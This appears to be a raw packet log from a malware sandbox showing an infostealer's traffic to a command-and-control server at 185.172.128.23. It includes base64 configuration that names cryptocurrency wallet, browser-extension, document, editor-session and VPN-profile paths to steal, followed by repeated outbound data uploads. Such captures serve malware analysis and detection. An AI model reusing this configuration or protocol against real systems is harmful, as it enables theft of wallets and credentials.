Apr 17, 2024 09:17:15.739248991 CEST	468	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECGHJKKJDHIEBFHCAKE Host: 185.172.128.23 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 47 48 4a 4b 4b 4a 44 48 49 45 42 46 48 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 63 35 37 39 36 35 36 31 33 63 61 35 61 65 35 61 64 33 64 36 66 37 65 31 63 33 62 37 35 31 65 39 37 33 61 31 62 36 35 36 39 65 65 31 66 37 33 31 34 39 34 63 36 63 32 31 39 66 33 33 30 39 39 62 34 33 30 62 34 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 48 4a 4b 4b 4a 44 48 49 45 42 46 48 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 48 4a 4b 4b 4a 44 48 49 45 42 46 48 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------IECGHJKKJDHIEBFHCAKEContent-Disposition: form-data; name="token"28c57965613ca5ae5ad3d6f7e1c3b751e973a1b6569ee1f731494c6c219f33099b430b44------IECGHJKKJDHIEBFHCAKEContent-Disposition: form-data; name="message"wallets------IECGHJKKJDHIEBFHCAKE--
Apr 17, 2024 09:17:16.053395033 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 58 45 64 79 5a 57 56 75 58 48 64 68 62 47 78 6c 64 48 4e 63 66 43 6f 75 4b 6e 77 78 66 46 64 68 63 32 46 69 61 53 42 58 59 57 78 73 5a 58 52 38 4d 58 78 63 56 32 46 73 62 47 56 30 56 32 46 7a 59 57 4a 70 58 45 4e 73 61 57 56 75 64 46 78 58 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 6d 70 7a 62 32 35 38 4d 48 78 46 64 47 68 6c 63 6d 56 31 62 58 77 78 66 46 78 46 64 47 68 6c 63 6d 56 31 62 56 78 38 61 32 56 35 63 33 52 76 63 6d 56 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 58 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 56 78 33 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 69 70 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 55 78 55 51 33 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 53 31 4d 56 45 4e 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 52 58 68 76 5a 48 56 7a 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 38 5a 58 68 76 5a 48 56 7a 4c 6d 4e 76 62 6d 59 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 33 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 66 48 64 70 62 6d 52 76 64 79 31 7a 64 47 46 30 5a 53 35 71 63 32 39 75 66 44 42 38 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 38 4d 58 78 63 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 63 66 48 42 68 63 33 4e 77 61 48 4a 68 63 32 55 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 58 48 78 7a 5a 57 56 6b 4c 6e 4e 6c 59 32 39 38 4d 48 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 48 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 46 78 38 61 57 35 6d 62 79 35 7a 5a 57 4e 76 66 44 42 38 52 57 78 6c 59 33 52 79 62 32 34 67 51 32 46 7a 61 48 77 78 66 46 78 46 62 47 56 6a 64 48 4a 76 62 6b 4e 68 63 32 68 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 54 58 56 73 64 47 6c 45 62 32 64 6c 66 44 46 38 58 45 31 31 62 48 52 70 52 47 39 6e 5a 56 78 38 62 58 56 73 64 47 6c 6b 62 32 64 6c 4c 6e 64 68 62 47 78 6c 64 48 77 77 66 45 70 68 65 48 67 67 52 47 56 7a 61 33 52 76 63 43 41 6f 62 32 78 6b 4b 58 77 78 66 46 78 71 59 58 68 34 58 45 78 76 59 32 46 73 49 Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11bHRpRG9nZVx8bXVsdGlkb2dlLndhbGxldHwwfEpheHggRGVza3RvcCAob2xkKXwxfFxqYXh4XExvY2FsI
Apr 17, 2024 09:17:16.055886984 CEST	466	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDHDAAEHIEHIECBKJDG Host: 185.172.128.23 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 63 35 37 39 36 35 36 31 33 63 61 35 61 65 35 61 64 33 64 36 66 37 65 31 63 33 62 37 35 31 65 39 37 33 61 31 62 36 35 36 39 65 65 31 66 37 33 31 34 39 34 63 36 63 32 31 39 66 33 33 30 39 39 62 34 33 30 62 34 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 44 41 41 45 48 49 45 48 49 45 43 42 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="token"28c57965613ca5ae5ad3d6f7e1c3b751e973a1b6569ee1f731494c6c219f33099b430b44------HIDHDAAEHIEHIECBKJDGContent-Disposition: form-data; name="message"files------HIDHDAAEHIEHIECBKJDG--
Apr 17, 2024 09:17:16.382796049 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2052 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6e 42 75 5a 79 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 5a 47 59 73 4b 6d 4a 68 59 32 74 31 63 43 6f 75 63 47 35 6e 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 6b 5a 69 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 35 6e 4c 43 70 79 5a 57 4e 76 64 6d 56 79 4b 69 35 77 5a 47 59 73 4b 6d 31 6c 64 47 46 74 59 58 4e 72 4b 69 34 71 4c 43 70 56 56 45 4d 74 4c 53 6f 75 4b 6e 77 78 4e 54 41 77 66 44 46 38 4d 58 78 45 54 30 4e 54 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 52 45 39 44 55 33 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 51 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 65 48 77 31 66 44 46 38 4d 58 78 53 52 55 4e 38 4a 56 4a 46 51 30 56 4f 56 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 55 6b 56 44 66 43 56 53 52 55 4e 46 54 6c 51 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 48 77 71 4c 6e 68 74 62 48 77 78 4e 58 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 47 4a 68 59 32 74 31 63 46 78 38 4b 69 34 71 66 44 45 31 66 44 46 38 4d 58 78 54 56 55 4a 4d 53 55 31 46 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 54 64 57 4a 73 61 57 31 6c 49 46 52 6c 65 48 51 67 4d 31 78 4d 62 32 4e 68 62 46 78 54 5a 58 4e 7a 61 57 39 75 4c 6e 4e 31 59 6d 78 70 62 57 56 66 63 32 56 7a 63 32 6c 76 62 6c 78 38 4b 69 35 7a 64 57 4a 73 61 57 31 6c 58 79 70 38 4d 54 56 38 4d 58 77 78 66 46 5a 51 54 6c 39 44 61 58 4e 6a 62 31 5a 51 54 6e 77 6c 55 46 4a 50 52 31 4a 42 54 55 5a 4a 54 45 56 54 4a 56 78 63 4c 69 35 63 58 46 42 79 62 32 64 79 59 57 31 45 59 58 52 68 58 46 78 44 61 58 4e 6a 62 31 78 44 61 58 4e 6a 62 79 42 42 62 6e 6c 44 62 32 35 75 5a 57 4e 30 49 46 4e 6c 59 33 56 79 5a 53 42 4e 62 32 4a 70 62 47 6c 30 65 53 42 44 62 47 6c 6c 62 6e 52 63 55 48 4a 76 5a 6d 6c 73 5a 56 78 38 4b 69 35 34 62 57 78 38 4d 54 41 77 66 44 46 38 4d 48 78 57 55 45 35 66 52 6d 39 79 64 47 6c 75 5a 58 52 38 4a 56 42 53 54 30 64 53 51 55 31 47 53 Data Ascii: REVTS3wlREVTS1RPUCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8REVTS3wlREVTS1RPUCVcfCp3YWxsZXQqLnBuZywqd2FsbGV0Ki5wZGYsKmJhY2t1cCoucG5nLCpiYWNrdXAqLnBkZiwqcmVjb3ZlcioucG5nLCpyZWNvdmVyKi5wZGYsKm1ldGFtYXNrKi4qLCpVVEMtLSouKnwxNTAwfDF8MXxET0NTfCVET0NVTUVOVFMlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8RE9DU3wlRE9DVU1FTlRTJVx8Ki50eHQsKi5kb2N4LCoueGxzeHw1fDF8MXxSRUN8JVJFQ0VOVCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8UkVDfCVSRUNFTlQlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXHwqLnhtbHwxNXwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXGJhY2t1cFx8Ki4qfDE1fDF8MXxTVUJMSU1FfCVBUFBEQVRBJVxTdWJsaW1lIFRleHQgM1xMb2NhbFxTZXNzaW9uLnN1YmxpbWVfc2Vzc2lvblx8Ki5zdWJsaW1lXyp8MTV8MXwxfFZQTl9DaXNjb1ZQTnwlUFJPR1JBTUZJTEVTJVxcLi5cXFByb2dyYW1EYXRhXFxDaXNjb1xDaXNjbyBBbnlDb25uZWN0IFNlY3VyZSBNb2JpbGl0eSBDbGllbnRcUHJvZmlsZVx8Ki54bWx8MTAwfDF8MHxWUE5fRm9ydGluZXR8JVBST0dSQU1GS
Apr 17, 2024 09:17:16.415350914 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGIJECGDGCBKECAKFBG Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:16.856436014 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:16.865192890 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBFHJJDAAKFIECGDB Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:17.356859922 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:17.366998911 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHII Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:17.856966019 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:17.863579988 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBFHJJDAAKFIECGDB Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:18.300229073 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:18.309284925 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIEC Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:18.744178057 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:18.749479055 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIEHIIIJDAAAAAAKECBF Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:19.135333061 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:19.142318010 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIECAFCGDBFHIDBKFC Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:19.558502913 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:19.564625025 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBKJKFIECAAAKFBFBF Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:20.003304005 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:19 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:20.010456085 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHDHIJDGCBAKFIEGHCB Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:20.489036083 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:20.495243073 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAFBFIEHIDBGDHCGIE Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:20.972371101 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:20.977531910 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAK Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:21.505877018 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:21.511789083 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJKEBKFCAAECAAAAAE Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:21.907087088 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:21.914005995 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKF Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:22.357973099 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:22.366473913 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHII Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:22.829291105 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:22 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:22.835057974 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKKEGIDBGHIDGDHDBFH Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:23.292802095 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:23.300524950 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIEC Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:23.704030037 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:23.765687943 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAEHJJJKJKFIDGCBGI Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:24.176448107 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:24.185103893 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHD Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:24.611991882 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:24.618551016 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJ Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:25.004494905 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:25.237602949 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAFIIDAKJDGDHIDAKJ Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:25.655174971 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:26.817148924 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAEHJJJKJKFIDGCBGI Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:27.256254911 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:27.262495995 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKK Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:27.724050999 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:27.731885910 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFC Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
